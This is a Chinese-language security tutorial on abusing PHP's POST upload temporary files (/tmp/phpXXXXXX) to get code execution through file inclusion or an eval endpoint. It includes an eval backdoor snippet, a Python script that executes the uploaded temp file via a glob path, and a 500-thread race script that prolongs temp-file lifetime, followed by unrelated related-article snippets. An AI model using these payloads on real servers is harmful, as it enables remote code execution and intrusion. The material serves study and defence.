利用PHP POST临时文件机制实现任意文件上传的方法详解

目录
  • 原理
  • 如何获取临时文件名
    • $_FILES
    • phpinfo
    • glob
  • 如何利用该文件
    • 组合请求
    • 延长临时文件存在时间
  • 参考

原理

向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件

  • 该文件默认存储在 /tmp 目录中『可通过 php.iniupload_tmp_dir 指定存储位置』
  • 文件名为 php[6个随机字符],例:phpG4ef0q
  • 若本次请求正常结束,临时文件会被自动删除
  • 若非正常结束,比如崩溃,临时文件可能会被永久保留

文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!

如何获取临时文件名

$_FILES

可以通过 $_FILES 获取文件信息

Array
(
    [name] => run.sh
    [full_path] => run.sh
    [type] =>
    [tmp_name] => /tmp/phpoFnbQf
    [error] => 0
    [size] => 10
)

phpinfo

phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到 $_FILES 变量的内容,从而拿到临时文件名

glob

若上述方法都无法实施,在 Linux 中,还可以通过 glob 通配符 定位文件

glob 简单使用:

  • * :代替 0 个或 任意个字符
  • ? :代替 1 个字符
  • [...]:匹配其中一个字符,例 [a,b,c] 匹配字符
  • a / b / c{a, b}:匹配 a 或者 b

如何利用该文件

组合请求

虽然文件在请求结束后就自动删除了,但是我们可以把执行 shell 和 上传文件 组合在一个请求中,php 代码如下:

该 php 可以直接执行 shell, 但本例仅为展示如何利用临时文件

# a.php
<?php
	$code = $_GET['code'];
	eval($code);
?>

Python 脚本利用

# run.sh 文件内容:
# echo $PATH

import requests
# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

延长临时文件存在时间

部分情况下,我们无法将 上传文件 和 执行shell 组合在一起,利用下述方法使得文件存在更多时间,从而在其他位置进行利用!

可以通过 文件包含 让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。

同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!

基于此,我们便可以编写并发脚本,不断发起 post 文件的请求

import requests
from threading import Thread
def test():
    url = "http://localhost:8080/include.php?file=include.php"
    r = requests.post(url, files={'file': open('./run.sh')})
    print(r.text)
lst = []
for _ in range(500):
    t = Thread(target=test)
    lst.append(t)
    t.start()
for item in lst:
    item.join()

可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除

于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件

import requests

url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

参考

无字母数字webshell之提高篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

PHP临时文件机制与利用的思考

https://www.anquanke.com/post/id/183046

PHP文件包含漏洞(利用phpinfo)复现

https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

glob(7) — Linux manual page

https://man7.org/linux/man-pages/man7/glob.7.html

操作文件和目录

http://billie66.github.io/TLCL/book/chap05.html

到此这篇关于利用 PHP POST 临时文件机制实现任意文件上传的文章就介绍到这了,更多相关php post任意文件上传内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • PHP使用curl请求实现post方式上传图片文件功能示例

    本文实例讲述了PHP使用curl请求实现post方式上传图片文件功能.分享给大家供大家参考,具体如下: 在调用第三方api接口时,有时会遇到通过http协议上传图片,以下是一个微信公众平台新增永久素材的例子: php代码: /* 使用curl函数 */ $url = "https://api.weixin.qq.com/cgi-bin/material/add_material?access_token=ACCESS_TOKEN&type=image"; $post_data

  • 利用PHP POST临时文件机制实现任意文件上传的方法详解

    目录 原理 如何获取临时文件名 $_FILES phpinfo glob 如何利用该文件 组合请求 延长临时文件存在时间 参考 原理 向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件 该文件默认存储在 /tmp 目录中『可通过 php.ini 的 upload_tmp_dir 指定存储位置』 文件名为 php[6个随机字符],例:phpG4ef0q 若本次请求正常结束,临时文件会被自动删除 若非正常结

  • SpringBoot整合MinIO实现文件上传的方法详解

    目录 前言 1. MinIO 简介 2. MinIO 安装 3. 整合 Spring Boot 4. 配置nginx 5. 小结 前言 现在 OSS 服务算是一个基础服务了,很多云服务厂商都有提供这样的服务,价格也不贵,松哥自己的网站用的就是类似的服务. 不过对于中小公司来说,除了购买 OSS 服务之外,也可以自己搭建专业的文件服务器,自己搭建专门的文件服务器的话,曾经比较专业的做法是 FastDFS,松哥之前也专门为之录过视频发在 B 站上,感兴趣的小伙伴可以自行查看.不过 FastDFS 搭

  • 最详细的文件上传下载实例详解(推荐)

    在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现. 对于文件上传,浏览器在上传的过程中是将文件以流的形式提交到服务器端的,如果直接使用Servlet获取上传文件的输入流然后再解析里面的请求参数是比较麻烦,所以一般选择采用apache的开源工具common-fileupload这个文件上传组件.这个common-fileupload上传组件的jar包可以去apache官网上面下载,也可以在struts的lib文件夹下面找到,stru

  • Bootstrap Fileinput文件上传组件用法详解

    最近时间空余,总结了一些关于bootstrap fileinput组件的一些常见用法,特此分享到我们平台,供大家参考,同时也方便以后的查找.本文写的不好还请见谅. 一.效果展示 1.原始的input type='file',简直不忍直视. 2.不做任何装饰的bootstrap fileinput:(bootstrap fileinput初级进化) 3.bootstrap fileinput高级进化:中文化.可拖拽上传.文件扩展名校验(如果不是需要的文件,不让上传) 拖拽上传 上传中 4.boot

  • Java 文件上传的实例详解

    Java 文件上传的实例详解 java 文件上传 Java文件上传,介绍几种常用的方法,也是经过本人亲手调试过的 1.jspsmartupload 这个组件用起来是挺方便的,不过就是只适合小文件上传,如果大文件上传的话就不行,查看了一下他的代码,m_totalBytes = m_request.getContentLength(); m_binArray = new byte[m_totalBytes];居然把整个上传文件都读到内存去了,那如果是上传几十M的文件,同时几个用户上传,服务器稳挂,不

  • jQuery File Upload文件上传插件使用详解

    jQuery File Upload 是一个Jquery文件上传组件,支持多文件上传.取消.删除,上传前缩略图预览.列表显示图片大小,支持上传进度条显示:支持各种动态语言开发的服务器端. 官网链接:https://github.com/blueimp/jQuery-File-Upload/wiki 特点:拖放支持:上传进度条:图像预览:可定制和可扩展的:兼容任何服务器端应用平台(PHP, Python, Ruby on Rails, Java, Node.js, Go etc.). 使用方法:

  • Spring实现文件上传的配置详解

    添加依赖 主要用来解析request请求流,获取文件字段名.上传文件名.content-type.headers等内容组装成FileItem <!--添加fileupload依赖--> <dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.3</versio

  • TP3.2.3框架文件上传操作实例详解

    本文实例讲述了TP3.2.3框架文件上传操作.分享给大家供大家参考,具体如下: 上传表单 在ThinkPHP中使用上传功能无需进行特别处理.例如,下面是一个带有附件上传的表单提交: <form action="__URL__/upload" enctype="multipart/form-data" method="post" > <input type="text" name="name"

  • Web Uploader文件上传插件使用详解

    WebUploader文件上传组件在现代的浏览器里面能充分发挥HTML5的优势,同时又不摒弃主流IE浏览器,沿用原来的FLASH运行时,兼容IE6+,iOS 6+, android 4+.两套运行时,同样的调用方式,可供用户任意选用. 采用大文件分片并发上传,极大的提高了文件上传效率. 一.功能介绍 分片.并发 分片与并发结合,将一个大文件分割成多块,并发上传,极大地提高大文件的上传速度. 当网络问题导致传输错误时,只需要重传出错分片,而不是整个文件.另外分片传输能够更加实时的跟踪上传进度. 预

  • PHP文件上传类实例详解

    本文实例讲述了PHP文件上传类.分享给大家供大家参考,具体如下: 这里演示了FileUpload.class.php文件上传类,其中用到了两个常量,可在网站配置文件中定义: define('ROOT_PATH',dirname(__FILE__)); //网站根目录 define('UPDIR','/uploads/'); //上传主目录 具体代码如下: <?php //上传文件类 class FileUpload { private $error; //错误代码 private $maxsiz

随机推荐